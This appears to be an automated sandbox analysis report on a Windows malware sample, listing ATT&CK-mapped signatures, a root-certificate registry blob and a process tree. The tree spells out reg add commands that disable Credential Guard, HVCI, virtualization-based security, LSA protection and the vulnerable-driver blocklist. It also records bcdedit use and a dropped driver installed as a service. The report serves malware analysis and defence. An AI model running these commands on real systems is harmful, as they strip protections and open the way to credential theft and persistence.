c6d8059004c1f648f0029337770dffc04039a6192feb8fe99a3f49a9db9736cc

Analysis

max time kernel
21s
max time network
24s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 10:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe
Size 3.6MB
Sample260925-mep8hsdd39
SHA256 c6d8059004c1f648f0029337770dffc04039a6192feb8fe99a3f49a9db9736cc
MD5 4d1d450478d98d243a94134d47b4a7e9
SHA1 450672088a0a928f3204487f3ce4dcfbbf44a2d0
SHA512 d99ece892cd621ab19b2a775a2496e81bc54eeacd456036da6684d4923573de1ce26e1d88560e98b81afe3c91d14ecadd4d17f1a953988049c00be9fb694bc48
SSDEEP 49152:zk+SBfV2x+EUE3OU1dN5dDzS3BoLpQR1BONzzS3BoLpQR1BONYn1XR7:z7gd2x+EROU1N1I621MzI621MGf7
TLSH
T16306BE13E252A0E5E21E85744672573EEBF23D251B20A7DBDFD0FD212E326D1A63B205
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

credential_access defense_evasion discovery evasion execution persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2784	bcdedit.exe
4260	bcdedit.exe
1308	bcdedit.exe

UPX dump on OEP (original entry point) 12 IoCs

resource	yara_rule
behavioral2/memory/4572-3-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-11-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-12-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-17-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-18-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-19-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-20-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-25-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-29-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-37-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-38-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/4572-40-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX

Installs a root certificate to the trusted certificate store 1 TTPs 2 IoCs

A root certificate was added to the trusted certificate store using CertUtil.

defense_evasion

Install Root Certificate

T1553.004

pid	Process
5856	cmd.exe
5964	certutil.exe

Manipulates Digital Signatures 1 TTPs 1 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\43DBB0D8926FEBC69B7663673161BC063ED10E04\Blob = 03000000010000001400000043dbb0d8926febc69b7663673161bc063ed10e0420000000010000001803000030820314308201fca003020102021057f22d200fedd2a646700c9ac5bfb563300d06092a864886f70d01010b050030163114301206035504030c0b57444b5465737443657274301e170d3236303533303231333735385a170d3336303533303231343735385a30163114301206035504030c0b57444b546573744365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100bb22151c5ed381ba1ca5d23d08543311f9eaa57b2af57911066d53e3ede87aa5b3f6e0b9aa5f054b68c2b559276e0998b8d01ef9ebb3b17326c2a3d23d0e1e6d13071bbd417b948db4b57308089c2e473952189376da210cdfd9aaa9b12b5762953c65b4834801996de86f85b2f91e9d1984cf488e690d42cf9e7ba15f12538c98a8baac5258c4f39a8beb44976d6e3f3ecb5966b990ea667dd4ed3bf6adf5e1a2f4b8356c819352747ee7fdbcd25202a82398df383668f939971c1b7150f9576eede0cfb3eea50464e7e8fb19cd9dd3c99efe5c4fc176e4c8855d4269fc649cf194916458797fdf63e6599a51d40260c900906a4eab95ae5d083c2f9962a7310203010001a35e305c300e0603551d0f0101ff040403020780302b0603551d250424302206082b06010505070303060a2b0601040182370a0305060a2b0601040182373d0101301d0603551d0e0416041415f59026fd3b5de62dca6813ea552d7344dbfaed300d06092a864886f70d01010b050003820101002614d970ce546514bb87c5088985e02b5132049872095c127a118a177ccd741532f0983f3b76090f5787f95ac45e808cf417b1e425f0f950627840010a63fa18331a4ebf53d4fd07828e7babeb25bb08fb5ae18336de0524a576f91edb486eab108347fc80f5b200af6830cf2652cd513bcb66ca6c241d7033c57de76bf1272d1737cece5bccffc5cc526f6ae26cb6a0dd1e8b974953f08aec4cacd9a807ddab182eeaa9558dc5bf8ff958fe738188b3d6360aace1b11eda3cc4904db15f4af5de9018410c9048da687dc83e63496d81f566963158f8f7617e3e94a42170b4c98e66df36c5c232c2e338ed49e6c9d83fdfd994e0025e52dc59fc1cc8a567f23f	certutil.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

Disable Windows Driver Blocklist via Registry.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	reg.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\longdiequdong1\ImagePath = "\\??\\C:\\Windows\\Temp\\longdiequdong1.sys"	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe

Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

persistence credential_access

LSASS Driver

T1547.008

LSASS Memory

T1003.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	reg.exe

Executes dropped EXE 2 IoCs

pid	Process
1620	longdiequdong1.sys
3464	SignGuiPatcher.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	mountvol.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 37 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1844	cmd.exe
1448	cmd.exe
5676	cmd.exe
4944	cmd.exe
2272	cmd.exe
2512	cmd.exe
4544	cmd.exe
2656	cmd.exe
4928	cmd.exe
4268	cmd.exe
6036	cmd.exe
2480	cmd.exe
3744	cmd.exe
2432	cmd.exe
4372	cmd.exe
3824	cmd.exe
1696	cmd.exe
1564	cmd.exe
1856	cmd.exe
3888	cmd.exe
5176	cmd.exe
1420	cmd.exe
1524	cmd.exe
1860	cmd.exe
4836	cmd.exe
5612	cmd.exe
2968	cmd.exe
2772	cmd.exe
1848	cmd.exe
5488	cmd.exe
4388	cmd.exe
4444	cmd.exe
3960	cmd.exe
5756	cmd.exe
1964	cmd.exe
2372	cmd.exe
5648	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 57 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

pid	Process
5404	reg.exe
2052	reg.exe
3288	reg.exe
1340	reg.exe
4564	reg.exe
3948	reg.exe
3052	reg.exe
1368	reg.exe
4312	reg.exe
5144	reg.exe
6032	reg.exe
1560	reg.exe
1152	reg.exe
1684	reg.exe
3000	reg.exe
2088	reg.exe
3300	reg.exe
4976	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3464	SignGuiPatcher.exe
3464	SignGuiPatcher.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3464	SignGuiPatcher.exe
Token: SeImpersonatePrivilege	3464	SignGuiPatcher.exe
Token: SeDebugPrivilege	3464	SignGuiPatcher.exe
Token: SeShutdownPrivilege	4852	shutdown.exe
Token: SeRemoteShutdownPrivilege	4852	shutdown.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe
4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe
1660	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 4928	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	89
PID 4928 wrote to memory of 1696	4928	cmd.exe	92
PID 1696 wrote to memory of 1088	1696	cmd.exe	93
PID 4572 wrote to memory of 5756	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	96
PID 5756 wrote to memory of 5404	5756	cmd.exe	98
PID 4572 wrote to memory of 5676	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	99
PID 5676 wrote to memory of 3288	5676	cmd.exe	101
PID 4572 wrote to memory of 1564	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	102
PID 1564 wrote to memory of 6032	1564	cmd.exe	104
PID 4572 wrote to memory of 4268	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	105
PID 4268 wrote to memory of 1340	4268	cmd.exe	107
PID 4572 wrote to memory of 1964	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	108
PID 1964 wrote to memory of 4564	1964	cmd.exe	110
PID 4572 wrote to memory of 3888	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	111
PID 3888 wrote to memory of 1560	3888	cmd.exe	113
PID 4572 wrote to memory of 4944	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	114
PID 4944 wrote to memory of 3948	4944	cmd.exe	116
PID 4572 wrote to memory of 2272	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	117
PID 2272 wrote to memory of 3052	2272	cmd.exe	119
PID 4572 wrote to memory of 1860	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	120
PID 1860 wrote to memory of 1368	1860	cmd.exe	122
PID 4572 wrote to memory of 4836	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	123
PID 4836 wrote to memory of 1152	4836	cmd.exe	125
PID 4572 wrote to memory of 1524	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	126
PID 1524 wrote to memory of 1684	1524	cmd.exe	128
PID 4572 wrote to memory of 1848	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	129
PID 1848 wrote to memory of 4312	1848	cmd.exe	131
PID 4572 wrote to memory of 6036	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	132
PID 6036 wrote to memory of 5144	6036	cmd.exe	134
PID 4572 wrote to memory of 5612	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	135
PID 5612 wrote to memory of 2052	5612	cmd.exe	137
PID 4572 wrote to memory of 2968	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	138
PID 2968 wrote to memory of 3000	2968	cmd.exe	140
PID 4572 wrote to memory of 5488	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	141
PID 5488 wrote to memory of 2088	5488	cmd.exe	143
PID 4572 wrote to memory of 2512	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	144
PID 2512 wrote to memory of 3300	2512	cmd.exe	146
PID 4572 wrote to memory of 3744	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	147
PID 3744 wrote to memory of 4544	3744	cmd.exe	149
PID 4572 wrote to memory of 2372	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	150
PID 2372 wrote to memory of 2432	2372	cmd.exe	152
PID 4572 wrote to memory of 1856	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	153
PID 1856 wrote to memory of 5648	1856	cmd.exe	155
PID 4572 wrote to memory of 5176	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	156
PID 5176 wrote to memory of 3332	5176	cmd.exe	158
PID 4572 wrote to memory of 4388	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	159
PID 4388 wrote to memory of 1420	4388	cmd.exe	161
PID 4572 wrote to memory of 2480	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	162
PID 2480 wrote to memory of 4444	2480	cmd.exe	164
PID 4572 wrote to memory of 1844	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	165
PID 1844 wrote to memory of 5944	1844	cmd.exe	167
PID 4572 wrote to memory of 4372	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	168
PID 4372 wrote to memory of 4976	4372	cmd.exe	170
PID 4572 wrote to memory of 2772	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	171
PID 2772 wrote to memory of 2784	2772	cmd.exe	173
PID 4572 wrote to memory of 3960	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	174
PID 3960 wrote to memory of 4260	3960	cmd.exe	176
PID 4572 wrote to memory of 2656	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	177
PID 2656 wrote to memory of 1308	2656	cmd.exe	179
PID 4572 wrote to memory of 5856	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	180
PID 5856 wrote to memory of 5964	5856	cmd.exe	182
PID 4572 wrote to memory of 3824	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	183
PID 3824 wrote to memory of 256	3824	cmd.exe	185
PID 4572 wrote to memory of 3464	4572	2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe	186

C:\Users\Admin\AppData\Local\Temp\2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-24_4d1d450478d98d243a94134d47b4a7e9_coinminer_elex_emotet_glassworm_remcos.exe"
1⤵
- Sets service image path in registry
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240746093_63575.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4928
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240746093_63575.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1696
  - - C:\Windows\system32\manage-bde.exe
      C:\Windows\Sysnative\manage-bde.exe -status C: -protectionaserrorlevel
      4⤵
      PID:1088
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5756
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5404
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5676
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3288
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1564
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:6032
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4268
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1340
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4564
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1560
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3948
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2272
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3052
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1368
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1152
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
